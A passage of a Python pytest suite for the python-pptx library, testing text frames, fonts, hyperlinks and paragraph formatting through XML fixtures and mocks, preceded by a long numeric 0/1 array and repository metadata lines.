[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
cchanrhiza/python-pptx
tests/text/test_text.py
4
41329
# encoding: utf-8 """ Test suite for pptx.text.text module """ from __future__ import absolute_import, print_function import pytest from pptx.compat import is_unicode from pptx.dml.color import ColorFormat from pptx.dml.fill import FillFormat from pptx.enum.text import MSO_ANCHOR, MSO_AUTO_SIZE, MSO_UNDERLINE, PP_ALIGN from pptx.opc.constants import RELATIONSHIP_TYPE as RT from pptx.opc.package import Part from pptx.shapes.autoshape import Shape from pptx.text.text import Font, _Hyperlink, _Paragraph, _Run, TextFrame from pptx.util import Inches, Pt from ..oxml.unitdata.text import a_p, a_t, an_hlinkClick, an_r, an_rPr from ..unitutil.cxml import element, xml from ..unitutil.mock import ( class_mock, instance_mock, loose_mock, method_mock, property_mock ) class DescribeTextFrame(object): def it_knows_its_autosize_setting(self, autosize_get_fixture): text_frame, expected_value = autosize_get_fixture assert text_frame.auto_size == expected_value def it_can_change_its_autosize_setting(self, autosize_set_fixture): text_frame, value, expected_xml = autosize_set_fixture text_frame.auto_size = value assert text_frame._txBody.xml == expected_xml def it_knows_its_margin_settings(self, margin_get_fixture): text_frame, prop_name, unit, expected_value = margin_get_fixture margin_value = getattr(text_frame, prop_name) assert getattr(margin_value, unit) == expected_value def it_can_change_its_margin_settings(self, margin_set_fixture): text_frame, prop_name, new_value, expected_xml = margin_set_fixture setattr(text_frame, prop_name, new_value) assert text_frame._txBody.xml == expected_xml def it_knows_its_vertical_alignment(self, anchor_get_fixture): text_frame, expected_value = anchor_get_fixture assert text_frame.vertical_anchor == expected_value def it_can_change_its_vertical_alignment(self, anchor_set_fixture): text_frame, new_value, expected_xml = anchor_set_fixture text_frame.vertical_anchor = new_value assert text_frame._element.xml == expected_xml def it_knows_its_word_wrap_setting(self, wrap_get_fixture): text_frame, expected_value = wrap_get_fixture assert text_frame.word_wrap == expected_value def it_can_change_its_word_wrap_setting(self, wrap_set_fixture): text_frame, new_value, expected_xml = wrap_set_fixture text_frame.word_wrap = new_value assert text_frame._element.xml == expected_xml def it_provides_access_to_its_paragraphs(self, paragraphs_fixture): text_frame, ps = paragraphs_fixture paragraphs = text_frame.paragraphs assert len(paragraphs) == len(ps) for idx, paragraph in enumerate(paragraphs): assert isinstance(paragraph, _Paragraph) assert paragraph._element is ps[idx] def it_can_add_a_paragraph_to_itself(self, add_paragraph_fixture): text_frame, expected_xml = add_paragraph_fixture text_frame.add_paragraph() assert text_frame._txBody.xml == expected_xml def it_knows_what_text_it_contains(self, text_get_fixture): text_frame, expected_value = text_get_fixture assert text_frame.text == expected_value def it_can_replace_the_text_it_contains(self, text_set_fixture): text_frame, text, expected_xml = text_set_fixture text_frame.text = text assert text_frame._element.xml == expected_xml def it_raises_on_attempt_to_set_margin_to_non_int(self): text_frame = TextFrame(element('p:txBody/a:bodyPr'), None) with pytest.raises(TypeError): text_frame.margin_bottom = '0.1' def it_knows_the_part_it_belongs_to(self, text_frame_with_parent_): text_frame, parent_ = text_frame_with_parent_ part = text_frame.part assert part is parent_.part def it_can_resize_its_text_to_best_fit(self, fit_text_fixture): text_frame, family, max_size = fit_text_fixture[:3] bold, italic, font_file, font_size = fit_text_fixture[3:] text_frame.fit_text(family, max_size, bold, italic, font_file) text_frame._best_fit_font_size.assert_called_once_with( family, max_size, bold, italic, font_file ) text_frame._apply_fit.assert_called_once_with( family, font_size, bold, italic ) def it_calculates_its_best_fit_font_size_to_help_fit_text( self, size_font_fixture): text_frame, family, max_size, bold, italic = size_font_fixture[:5] FontFiles_, TextFitter_, text, extents = size_font_fixture[5:9] font_file_, font_size_ = size_font_fixture[9:] font_size = text_frame._best_fit_font_size( family, max_size, bold, italic, None ) FontFiles_.find.assert_called_once_with(family, bold, italic) TextFitter_.best_fit_font_size.assert_called_once_with( text, extents, max_size, font_file_ ) assert font_size is font_size_ def it_calculates_its_effective_size_to_help_fit_text(self): sp_cxml = ( 'p:sp/(p:spPr/a:xfrm/(a:off{x=914400,y=914400},a:ext{cx=914400,c' 'y=914400}),p:txBody/(a:bodyPr,a:p))' ) text_frame = Shape(element(sp_cxml), None).text_frame assert text_frame._extents == (731520, 822960) def it_applies_fit_to_help_fit_text(self, apply_fit_fixture): text_frame, family, font_size, bold, italic = apply_fit_fixture text_frame._apply_fit(family, font_size, bold, italic) assert text_frame.auto_size is MSO_AUTO_SIZE.NONE assert text_frame.word_wrap is True text_frame._set_font.assert_called_once_with( family, font_size, bold, italic ) def it_sets_its_font_to_help_fit_text(self, set_font_fixture): text_frame, family, size, bold, italic, expected_xml = ( set_font_fixture ) text_frame._set_font(family, size, bold, italic) assert text_frame._element.xml == expected_xml # fixtures --------------------------------------------- @pytest.fixture(params=[ ('p:txBody/a:bodyPr', 'p:txBody/(a:bodyPr,a:p)'), ('p:txBody/(a:bodyPr,a:p)', 'p:txBody/(a:bodyPr,a:p,a:p)'), ]) def add_paragraph_fixture(self, request): txBody_cxml, expected_cxml = request.param text_frame = TextFrame(element(txBody_cxml), None) expected_xml = xml(expected_cxml) return text_frame, expected_xml @pytest.fixture(params=[ ('p:txBody/a:bodyPr', None), ('p:txBody/a:bodyPr{anchor=t}', MSO_ANCHOR.TOP), ('p:txBody/a:bodyPr{anchor=b}', MSO_ANCHOR.BOTTOM), ]) def anchor_get_fixture(self, request): txBody_cxml, expected_value = request.param text_frame = TextFrame(element(txBody_cxml), None) return text_frame, expected_value @pytest.fixture(params=[ ('p:txBody/a:bodyPr', MSO_ANCHOR.TOP, 'p:txBody/a:bodyPr{anchor=t}'), ('p:txBody/a:bodyPr{anchor=t}', MSO_ANCHOR.MIDDLE, 'p:txBody/a:bodyPr{anchor=ctr}'), ('p:txBody/a:bodyPr{anchor=ctr}', MSO_ANCHOR.BOTTOM, 'p:txBody/a:bodyPr{anchor=b}'), ('p:txBody/a:bodyPr{anchor=b}', None, 'p:txBody/a:bodyPr'), ]) def anchor_set_fixture(self, request): txBody_cxml, new_value, expected_cxml = request.param text_frame = TextFrame(element(txBody_cxml), None) expected_xml = xml(expected_cxml) return text_frame, new_value, expected_xml @pytest.fixture def apply_fit_fixture(self, _set_font_): txBody = element('p:txBody/a:bodyPr') text_frame = TextFrame(txBody, None) family, font_size, bold, italic = 'Family', 42, True, False return text_frame, family, font_size, bold, italic @pytest.fixture(params=[ ('p:txBody/a:bodyPr', None), ('p:txBody/a:bodyPr/a:noAutofit', MSO_AUTO_SIZE.NONE), ('p:txBody/a:bodyPr/a:spAutoFit', MSO_AUTO_SIZE.SHAPE_TO_FIT_TEXT), ('p:txBody/a:bodyPr/a:normAutofit', MSO_AUTO_SIZE.TEXT_TO_FIT_SHAPE), ]) def autosize_get_fixture(self, request): txBody_cxml, expected_value = request.param text_frame = TextFrame(element(txBody_cxml), None) return text_frame, expected_value @pytest.fixture(params=[ ('p:txBody/a:bodyPr', MSO_AUTO_SIZE.NONE, 'p:txBody/a:bodyPr/a:noAutofit'), ('p:txBody/a:bodyPr/a:noAutofit', MSO_AUTO_SIZE.SHAPE_TO_FIT_TEXT, 'p:txBody/a:bodyPr/a:spAutoFit'), ('p:txBody/a:bodyPr/a:spAutoFit', MSO_AUTO_SIZE.TEXT_TO_FIT_SHAPE, 'p:txBody/a:bodyPr/a:normAutofit'), ('p:txBody/a:bodyPr/a:normAutofit', None, 'p:txBody/a:bodyPr'), ]) def autosize_set_fixture(self, request): txBody_cxml, value, expected_cxml = request.param text_frame = TextFrame(element(txBody_cxml), None) expected_xml = xml(expected_cxml) return text_frame, value, expected_xml @pytest.fixture def fit_text_fixture(self, _best_fit_font_size_, _apply_fit_): text_frame = TextFrame(None, None) family, max_size, bold, italic, font_file, font_size = ( 'Family', 42, 'bold', 'italic', 'font_file', 21 ) _best_fit_font_size_.return_value = font_size return ( text_frame, family, max_size, bold, italic, font_file, font_size ) @pytest.fixture(params=[ ('p:txBody/a:bodyPr', 'left', 'emu', Inches(0.1)), ('p:txBody/a:bodyPr', 'top', 'emu', Inches(0.05)), ('p:txBody/a:bodyPr', 'right', 'emu', Inches(0.1)), ('p:txBody/a:bodyPr', 'bottom', 'emu', Inches(0.05)), ('p:txBody/a:bodyPr{lIns=9144}', 'left', 'cm', 0.0254), ('p:txBody/a:bodyPr{tIns=18288}', 'top', 'mm', 0.508), ('p:txBody/a:bodyPr{rIns=76200}', 'right', 'pt', 6.0), ('p:txBody/a:bodyPr{bIns=36576}', 'bottom', 'inches', 0.04), ]) def margin_get_fixture(self, request): txBody_cxml, side, unit, expected_value = request.param text_frame = TextFrame(element(txBody_cxml), None) prop_name = "margin_%s" % side return text_frame, prop_name, unit, expected_value @pytest.fixture(params=[ ('p:txBody/a:bodyPr', 'left', Inches(0.11), 'p:txBody/a:bodyPr{lIns=100584}'), ('p:txBody/a:bodyPr{tIns=1234}', 'top', Inches(0.12), 'p:txBody/a:bodyPr{tIns=109728}'), ('p:txBody/a:bodyPr{rIns=2345}', 'right', Inches(0.13), 'p:txBody/a:bodyPr{rIns=118872}'), ('p:txBody/a:bodyPr{bIns=3456}', 'bottom', Inches(0.14), 'p:txBody/a:bodyPr{bIns=128016}'), ('p:txBody/a:bodyPr', 'left', Inches(0.1), 'p:txBody/a:bodyPr'), ('p:txBody/a:bodyPr', 'top', Inches(0.05), 'p:txBody/a:bodyPr'), ('p:txBody/a:bodyPr', 'right', Inches(0.1), 'p:txBody/a:bodyPr'), ('p:txBody/a:bodyPr', 'bottom', Inches(0.05), 'p:txBody/a:bodyPr'), ]) def margin_set_fixture(self, request): txBody_cxml, side, new_value, expected_txBody_cxml = request.param text_frame = TextFrame(element(txBody_cxml), None) prop_name = "margin_%s" % side expected_xml = xml(expected_txBody_cxml) return text_frame, prop_name, new_value, expected_xml @pytest.fixture(params=[ 'p:txBody', 'p:txBody/a:p', 'p:txBody/(a:p,a:p)', ]) def paragraphs_fixture(self, request): txBody_cxml = request.param txBody = element(txBody_cxml) text_frame = TextFrame(txBody, None) ps = txBody.xpath('.//a:p') return text_frame, ps @pytest.fixture(params=[ ('p:txBody/(a:bodyPr,a:p/a:r)', True, False, 'p:txBody/(a:bodyPr,a:p/(a:r/a:rPr{sz=600,b=1,i=0}/a:latin{typeface' '=F},a:endParaRPr{sz=600,b=1,i=0}/a:latin{typeface=F}))'), ('p:txBody/a:p/a:br', True, False, 'p:txBody/a:p/(a:br/a:rPr{sz=600,b=1,i=0}/a:latin{typeface=F},a:end' 'ParaRPr{sz=600,b=1,i=0}/a:latin{typeface=F})'), ('p:txBody/a:p/a:fld', True, False, 'p:txBody/a:p/(a:fld/a:rPr{sz=600,b=1,i=0}/a:latin{typeface=F},a:en' 'dParaRPr{sz=600,b=1,i=0}/a:latin{typeface=F})'), ]) def set_font_fixture(self, request): txBody_cxml, bold, italic, expected_cxml = request.param family, size = 'F', 6 text_frame = TextFrame(element(txBody_cxml), None) expected_xml = xml(expected_cxml) return text_frame, family, size, bold, italic, expected_xml @pytest.fixture def size_font_fixture( self, FontFiles_, TextFitter_, text_prop_, _extents_prop_): text_frame = TextFrame(None, None) family, max_size, bold, italic = 'Family', 42, True, False text, extents, font_size, font_file = 'text', (111, 222), 21, 'f.ttf' text_prop_.return_value = text _extents_prop_.return_value = extents FontFiles_.find.return_value = font_file TextFitter_.best_fit_font_size.return_value = font_size return ( text_frame, family, max_size, bold, italic, FontFiles_, TextFitter_, text, extents, font_file, font_size ) @pytest.fixture(params=[ ('p:txBody/a:p/a:r/a:t"foobar"', 'foobar'), ('p:txBody/(a:p/a:r/a:t"foo",a:p/a:r/a:t"bar")', 'foo\nbar'), ('p:txBody/(a:p,a:p/a:r/a:t"foo",a:p/a:r/a:t"bar")', '\nfoo\nbar'), ]) def text_get_fixture(self, request): txBody_cxml, expected_value = request.param text_frame = TextFrame(element(txBody_cxml), None) return text_frame, expected_value @pytest.fixture(params=[ ('p:txBody/(a:bodyPr,a:p)', 'foobar', 'p:txBody/(a:bodyPr,a:p/a:r/a:t"foobar")'), ('p:txBody/(a:bodyPr,a:p/a:r/a:t"foobar")', 'barfoo', 'p:txBody/(a:bodyPr,a:p/a:r/a:t"barfoo")'), ('p:txBody/(a:bodyPr,a:p/a:r/a:t"foo",a:p/a:r/a:t"bar")', 'barfoo', 'p:txBody/(a:bodyPr,a:p/a:r/a:t"barfoo")'), ]) def text_set_fixture(self, request): txBody_cxml, text, expected_cxml = request.param text_frame = TextFrame(element(txBody_cxml), None) expected_xml = xml(expected_cxml) return text_frame, text, expected_xml @pytest.fixture(params=[ ('p:txBody/a:bodyPr', None), ('p:txBody/a:bodyPr{wrap=square}', True), ('p:txBody/a:bodyPr{wrap=none}', False), ]) def wrap_get_fixture(self, request): txBody_cxml, expected_value = request.param text_frame = TextFrame(element(txBody_cxml), None) return text_frame, expected_value @pytest.fixture(params=[ ('p:txBody/a:bodyPr', True, 'p:txBody/a:bodyPr{wrap=square}'), ('p:txBody/a:bodyPr{wrap=square}', False, 'p:txBody/a:bodyPr{wrap=none}'), ('p:txBody/a:bodyPr{wrap=none}', None, 'p:txBody/a:bodyPr'), ]) def wrap_set_fixture(self, request): txBody_cxml, new_value, expected_txBody_cxml = request.param text_frame = TextFrame(element(txBody_cxml), None) expected_xml = xml(expected_txBody_cxml) return text_frame, new_value, expected_xml # fixture components ----------------------------------- @pytest.fixture def _apply_fit_(self, request): return method_mock(request, TextFrame, '_apply_fit') @pytest.fixture def _best_fit_font_size_(self, request): return method_mock(request, TextFrame, '_best_fit_font_size') @pytest.fixture def _extents_prop_(self, request): return property_mock(request, TextFrame, '_extents') @pytest.fixture def FontFiles_(self, request): return class_mock(request, 'pptx.text.text.FontFiles') @pytest.fixture def _set_font_(self, request): return method_mock(request, TextFrame, '_set_font') @pytest.fixture def TextFitter_(self, request): return class_mock(request, 'pptx.text.text.TextFitter') @pytest.fixture def text_frame_with_parent_(self, request): parent_ = loose_mock(request, name='parent_') text_frame = TextFrame(None, parent_) return text_frame, parent_ @pytest.fixture def text_prop_(self, request): return property_mock(request, TextFrame, 'text') class DescribeFont(object): def it_knows_its_bold_setting(self, bold_get_fixture): font, expected_value = bold_get_fixture assert font.bold == expected_value def it_can_change_its_bold_setting(self, bold_set_fixture): font, new_value, expected_xml = bold_set_fixture font.bold = new_value assert font._element.xml == expected_xml def it_knows_its_italic_setting(self, italic_get_fixture): font, expected_value = italic_get_fixture assert font.italic == expected_value def it_can_change_its_italic_setting(self, italic_set_fixture): font, new_value, expected_xml = italic_set_fixture font.italic = new_value assert font._element.xml == expected_xml def it_knows_its_underline_setting(self, underline_get_fixture): font, expected_value = underline_get_fixture assert font.underline is expected_value, 'got %s' % font.underline def it_can_change_its_underline_setting(self, underline_set_fixture): font, new_value, expected_xml = underline_set_fixture font.underline = new_value assert font._element.xml == expected_xml def it_knows_its_size(self, size_get_fixture): font, expected_value = size_get_fixture assert font.size == expected_value def it_can_change_its_size(self, size_set_fixture): font, new_value, expected_xml = size_set_fixture font.size = new_value assert font._element.xml == expected_xml def it_knows_its_latin_typeface(self, name_get_fixture): font, expected_value = name_get_fixture assert font.name == expected_value def it_can_change_its_latin_typeface(self, name_set_fixture): font, new_value, expected_xml = name_set_fixture font.name = new_value assert font._element.xml == expected_xml def it_provides_access_to_its_color(self, font): assert isinstance(font.color, ColorFormat) def it_provides_access_to_its_fill(self, font): assert isinstance(font.fill, FillFormat) # fixtures --------------------------------------------- @pytest.fixture(params=[ ('a:rPr', None), ('a:rPr{b=0}', False), ('a:rPr{b=1}', True), ]) def bold_get_fixture(self, request): rPr_cxml, expected_value = request.param font = Font(element(rPr_cxml)) return font, expected_value @pytest.fixture(params=[ ('a:rPr', True, 'a:rPr{b=1}'), ('a:rPr{b=1}', False, 'a:rPr{b=0}'), ('a:rPr{b=0}', None, 'a:rPr'), ]) def bold_set_fixture(self, request): rPr_cxml, new_value, expected_rPr_cxml = request.param font = Font(element(rPr_cxml)) expected_xml = xml(expected_rPr_cxml) return font, new_value, expected_xml @pytest.fixture(params=[ ('a:rPr', None), ('a:rPr{i=0}', False), ('a:rPr{i=1}', True), ]) def italic_get_fixture(self, request): rPr_cxml, expected_value = request.param font = Font(element(rPr_cxml)) return font, expected_value @pytest.fixture(params=[ ('a:rPr', True, 'a:rPr{i=1}'), ('a:rPr{i=1}', False, 'a:rPr{i=0}'), ('a:rPr{i=0}', None, 'a:rPr'), ]) def italic_set_fixture(self, request): rPr_cxml, new_value, expected_rPr_cxml = request.param font = Font(element(rPr_cxml)) expected_xml = xml(expected_rPr_cxml) return font, new_value, expected_xml @pytest.fixture(params=[ ('a:rPr', None), ('a:rPr/a:latin{typeface=Foobar}', 'Foobar'), ]) def name_get_fixture(self, request): rPr_cxml, expected_value = request.param font = Font(element(rPr_cxml)) return font, expected_value @pytest.fixture(params=[ ('a:rPr', 'Foobar', 'a:rPr/a:latin{typeface=Foobar}'), ('a:rPr/a:latin{typeface=Foobar}', 'Barfoo', 'a:rPr/a:latin{typeface=Barfoo}'), ('a:rPr/a:latin{typeface=Barfoo}', None, 'a:rPr'), ]) def name_set_fixture(self, request): rPr_cxml, new_value, expected_rPr_cxml = request.param font = Font(element(rPr_cxml)) expected_xml = xml(expected_rPr_cxml) return font, new_value, expected_xml @pytest.fixture(params=[ ('a:rPr', None), ('a:rPr{sz=2400}', 304800), ]) def size_get_fixture(self, request): rPr_cxml, expected_value = request.param font = Font(element(rPr_cxml)) return font, expected_value @pytest.fixture(params=[ ('a:rPr', Pt(24), 'a:rPr{sz=2400}'), ('a:rPr{sz=2400}', None, 'a:rPr'), ]) def size_set_fixture(self, request): rPr_cxml, new_value, expected_rPr_cxml = request.param font = Font(element(rPr_cxml)) expected_xml = xml(expected_rPr_cxml) return font, new_value, expected_xml @pytest.fixture(params=[ ('a:rPr', None), ('a:rPr{u=none}', False), ('a:rPr{u=sng}', True), ('a:rPr{u=dbl}', MSO_UNDERLINE.DOUBLE_LINE), ]) def underline_get_fixture(self, request): rPr_cxml, expected_value = request.param font = Font(element(rPr_cxml)) return font, expected_value @pytest.fixture(params=[ ('a:rPr', True, 'a:rPr{u=sng}'), ('a:rPr{u=sng}', False, 'a:rPr{u=none}'), ('a:rPr{u=none}', MSO_UNDERLINE.WAVY_LINE, 'a:rPr{u=wavy}'), ('a:rPr{u=wavy}', MSO_UNDERLINE.NONE, 'a:rPr{u=none}'), ('a:rPr{u=wavy}', None, 'a:rPr'), ]) def underline_set_fixture(self, request): rPr_cxml, new_value, expected_rPr_cxml = request.param font = Font(element(rPr_cxml)) expected_xml = xml(expected_rPr_cxml) return font, new_value, expected_xml # fixture components --------------------------------------------- @pytest.fixture def font(self): return Font(element('a:rPr')) class Describe_Hyperlink(object): def it_knows_the_target_url_of_the_hyperlink(self, hlink_with_url_): hlink, rId, url = hlink_with_url_ assert hlink.address == url hlink.part.target_ref.assert_called_once_with(rId) def it_has_None_for_address_when_no_hyperlink_is_present(self, hlink): assert hlink.address is None def it_can_set_the_target_url( self, hlink, rPr_with_hlinkClick_xml, url): hlink.address = url # verify ----------------------- hlink.part.relate_to.assert_called_once_with( url, RT.HYPERLINK, is_external=True ) assert hlink._rPr.xml == rPr_with_hlinkClick_xml assert hlink.address == url def it_can_remove_the_hyperlink(self, remove_hlink_fixture_): hlink, rPr_xml, rId = remove_hlink_fixture_ hlink.address = None assert hlink._rPr.xml == rPr_xml hlink.part.drop_rel.assert_called_once_with(rId) def it_should_remove_the_hyperlink_when_url_set_to_empty_string( self, remove_hlink_fixture_): hlink, rPr_xml, rId = remove_hlink_fixture_ hlink.address = '' assert hlink._rPr.xml == rPr_xml hlink.part.drop_rel.assert_called_once_with(rId) def it_can_change_the_target_url(self, change_hlink_fixture_): # fixture ---------------------- hlink, rId_existing, new_url, new_rPr_xml = change_hlink_fixture_ # exercise --------------------- hlink.address = new_url # verify ----------------------- assert hlink._rPr.xml == new_rPr_xml hlink.part.drop_rel.assert_called_once_with(rId_existing) hlink.part.relate_to.assert_called_once_with( new_url, RT.HYPERLINK, is_external=True ) # fixtures --------------------------------------------- @pytest.fixture def change_hlink_fixture_( self, request, hlink_with_hlinkClick, rId, rId_2, part_, url_2): hlinkClick_bldr = an_hlinkClick().with_rId(rId_2) new_rPr_xml = ( an_rPr().with_nsdecls('a', 'r') .with_child(hlinkClick_bldr) .xml() ) part_.relate_to.return_value = rId_2 property_mock(request, _Hyperlink, 'part', return_value=part_) return hlink_with_hlinkClick, rId, url_2, new_rPr_xml @pytest.fixture def hlink(self, request, part_): rPr = an_rPr().with_nsdecls('a', 'r').element hlink = _Hyperlink(rPr, None) property_mock(request, _Hyperlink, 'part', return_value=part_) return hlink @pytest.fixture def hlink_with_hlinkClick(self, request, rPr_with_hlinkClick_bldr): rPr = rPr_with_hlinkClick_bldr.element return _Hyperlink(rPr, None) @pytest.fixture def hlink_with_url_( self, request, part_, hlink_with_hlinkClick, rId, url): property_mock(request, _Hyperlink, 'part', return_value=part_) return hlink_with_hlinkClick, rId, url @pytest.fixture def part_(self, request, url, rId): """ Mock Part instance suitable for patching into _Hyperlink.part property. It returns url for target_ref() and rId for relate_to(). """ part_ = instance_mock(request, Part) part_.target_ref.return_value = url part_.relate_to.return_value = rId return part_ @pytest.fixture def rId(self): return 'rId2' @pytest.fixture def rId_2(self): return 'rId6' @pytest.fixture def remove_hlink_fixture_( self, request, hlink_with_hlinkClick, rPr_xml, rId): property_mock(request, _Hyperlink, 'part') return hlink_with_hlinkClick, rPr_xml, rId @pytest.fixture def rPr_with_hlinkClick_bldr(self, rId): hlinkClick_bldr = an_hlinkClick().with_rId(rId) rPr_bldr = ( an_rPr().with_nsdecls('a', 'r') .with_child(hlinkClick_bldr) ) return rPr_bldr @pytest.fixture def rPr_with_hlinkClick_xml(self, rPr_with_hlinkClick_bldr): return rPr_with_hlinkClick_bldr.xml() @pytest.fixture def rPr_xml(self): return an_rPr().with_nsdecls('a', 'r').xml() @pytest.fixture def url(self): return 'https://github.com/scanny/python-pptx' @pytest.fixture def url_2(self): return 'https://pypi.python.org/pypi/python-pptx' class Describe_Paragraph(object): def it_knows_its_horizontal_alignment(self, alignment_get_fixture): paragraph, expected_value = alignment_get_fixture assert paragraph.alignment == expected_value def it_can_change_its_horizontal_alignment(self, alignment_set_fixture): paragraph, new_value, expected_xml = alignment_set_fixture paragraph.alignment = new_value assert paragraph._element.xml == expected_xml def it_knows_its_indentation_level(self, level_get_fixture): paragraph, expected_value = level_get_fixture assert paragraph.level == expected_value def it_can_change_its_indentation_level(self, level_set_fixture): paragraph, new_value, expected_xml = level_set_fixture paragraph.level = new_value assert paragraph._element.xml == expected_xml def it_knows_its_space_before(self, before_get_fixture): paragraph, expected_value = before_get_fixture assert paragraph.space_before == expected_value def it_can_change_its_space_before(self, before_set_fixture): paragraph, new_value, expected_xml = before_set_fixture paragraph.space_before = new_value assert paragraph._element.xml == expected_xml def it_knows_its_space_after(self, after_get_fixture): paragraph, expected_value = after_get_fixture assert paragraph.space_after == expected_value def it_can_change_its_space_after(self, after_set_fixture): paragraph, new_value, expected_xml = after_set_fixture paragraph.space_after = new_value assert paragraph._element.xml == expected_xml def it_knows_its_line_spacing(self, spacing_get_fixture): paragraph, expected_value = spacing_get_fixture assert paragraph.line_spacing == expected_value def it_can_change_its_line_spacing(self, spacing_set_fixture): paragraph, new_value, expected_xml = spacing_set_fixture paragraph.line_spacing = new_value assert paragraph._element.xml == expected_xml def it_knows_what_text_it_contains(self, text_get_fixture): paragraph, expected_value = text_get_fixture text = paragraph.text assert text == expected_value assert is_unicode(text) def it_can_change_its_text(self, text_set_fixture): paragraph, new_value, expected_xml = text_set_fixture paragraph.text = new_value assert paragraph._element.xml == expected_xml def it_provides_access_to_its_runs(self, runs_fixture): paragraph, expected_text = runs_fixture runs = paragraph.runs assert tuple(r.text for r in runs) == expected_text for r in runs: assert isinstance(r, _Run) assert r._parent == paragraph def it_can_clear_itself_of_content(self, clear_fixture): paragraph, expected_xml = clear_fixture paragraph.clear() assert paragraph._element.xml == expected_xml def it_provides_access_to_the_default_paragraph_font( self, paragraph, Font_): font = paragraph.font Font_.assert_called_once_with(paragraph._defRPr) assert font == Font_.return_value def it_can_add_a_run(self, paragraph, p_with_r_xml): run = paragraph.add_run() assert paragraph._p.xml == p_with_r_xml assert isinstance(run, _Run) # fixtures --------------------------------------------- @pytest.fixture(params=[ ('a:p', None), ('a:p/a:pPr', None), ('a:p/a:pPr/a:spcAft/a:spcPct{val=150000}', None), ('a:p/a:pPr/a:spcAft/a:spcPts{val=600}', 76200), ]) def after_get_fixture(self, request): p_cxml, expected_value = request.param paragraph = _Paragraph(element(p_cxml), None) return paragraph, expected_value @pytest.fixture(params=[ ('a:p', Pt(8.333), 'a:p/a:pPr/a:spcAft/a:spcPts{val=833}'), ('a:p/a:pPr/a:spcAft/a:spcPts{val=600}', Pt(42), 'a:p/a:pPr/a:spcAft/a:spcPts{val=4200}'), ('a:p/a:pPr/a:spcAft/a:spcPct{val=150000}', Pt(24), 'a:p/a:pPr/a:spcAft/a:spcPts{val=2400}'), ('a:p/a:pPr/a:spcAft/a:spcPts{val=600}', None, 'a:p/a:pPr'), ]) def after_set_fixture(self, request): p_cxml, new_value, expected_p_cxml = request.param paragraph = _Paragraph(element(p_cxml), None) expected_xml = xml(expected_p_cxml) return paragraph, new_value, expected_xml @pytest.fixture(params=[ ('a:p', None), ('a:p/a:pPr{algn=ctr}', PP_ALIGN.CENTER), ('a:p/a:pPr{algn=r}', PP_ALIGN.RIGHT), ]) def alignment_get_fixture(self, request): p_cxml, expected_value = request.param paragraph = _Paragraph(element(p_cxml), None) return paragraph, expected_value @pytest.fixture(params=[ ('a:p', PP_ALIGN.LEFT, 'a:p/a:pPr{algn=l}'), ('a:p/a:pPr{algn=l}', PP_ALIGN.JUSTIFY, 'a:p/a:pPr{algn=just}'), ('a:p/a:pPr{algn=just}', None, 'a:p/a:pPr'), ]) def alignment_set_fixture(self, request): p_cxml, new_value, expected_p_cxml = request.param paragraph = _Paragraph(element(p_cxml), None) expected_xml = xml(expected_p_cxml) return paragraph, new_value, expected_xml @pytest.fixture(params=[ ('a:p', None), ('a:p/a:pPr', None), ('a:p/a:pPr/a:spcBef/a:spcPct{val=150000}', None), ('a:p/a:pPr/a:spcBef/a:spcPts{val=600}', 76200), ]) def before_get_fixture(self, request): p_cxml, expected_value = request.param paragraph = _Paragraph(element(p_cxml), None) return paragraph, expected_value @pytest.fixture(params=[ ('a:p', Pt(8.333), 'a:p/a:pPr/a:spcBef/a:spcPts{val=833}'), ('a:p/a:pPr/a:spcBef/a:spcPts{val=600}', Pt(42), 'a:p/a:pPr/a:spcBef/a:spcPts{val=4200}'), ('a:p/a:pPr/a:spcBef/a:spcPct{val=150000}', Pt(24), 'a:p/a:pPr/a:spcBef/a:spcPts{val=2400}'), ('a:p/a:pPr/a:spcBef/a:spcPts{val=600}', None, 'a:p/a:pPr'), ]) def before_set_fixture(self, request): p_cxml, new_value, expected_p_cxml = request.param paragraph = _Paragraph(element(p_cxml), None) expected_xml = xml(expected_p_cxml) return paragraph, new_value, expected_xml @pytest.fixture(params=[ ('a:p/a:r/a:t"foo"', 'a:p'), ('a:p/(a:br,a:r/a:t"foo")', 'a:p'), ('a:p/(a:fld,a:br,a:r/a:t"foo")', 'a:p'), ]) def clear_fixture(self, request): p_cxml, expected_p_cxml = request.param paragraph = _Paragraph(element(p_cxml), None) expected_xml = xml(expected_p_cxml) return paragraph, expected_xml @pytest.fixture(params=[ ('a:p', 0), ('a:p/a:pPr{lvl=2}', 2), ]) def level_get_fixture(self, request): p_cxml, expected_value = request.param paragraph = _Paragraph(element(p_cxml), None) return paragraph, expected_value @pytest.fixture(params=[ ('a:p', 1, 'a:p/a:pPr{lvl=1}'), 